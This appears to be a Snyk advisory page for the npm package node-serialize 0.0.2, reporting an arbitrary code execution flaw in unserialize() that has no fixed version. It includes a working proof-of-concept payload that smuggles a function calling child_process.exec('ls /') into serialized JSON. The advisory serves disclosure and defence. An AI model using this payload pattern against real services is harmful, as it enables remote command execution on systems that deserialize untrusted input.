node-serialize@0.0.2 vulnerabilities

Serialize a object including it's function into a JSON.

  • latest version

    0.0.4

  • first published

    12 years ago

  • latest version published

    11 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the node-serialize package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • C
    Arbitrary Code Execution

    node-serialize serializes an object and it's function into a JSON.

    Affected versions of this package are vulnerable to Arbitrary Code Execution when untrusted user-input is passed into the unserialize() function.

    Example:

    var serialize = require('node-serialize');
    var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
    serialize.unserialize(payload);
    

    How to fix Arbitrary Code Execution?

    There is no fix version for node-serialize

    *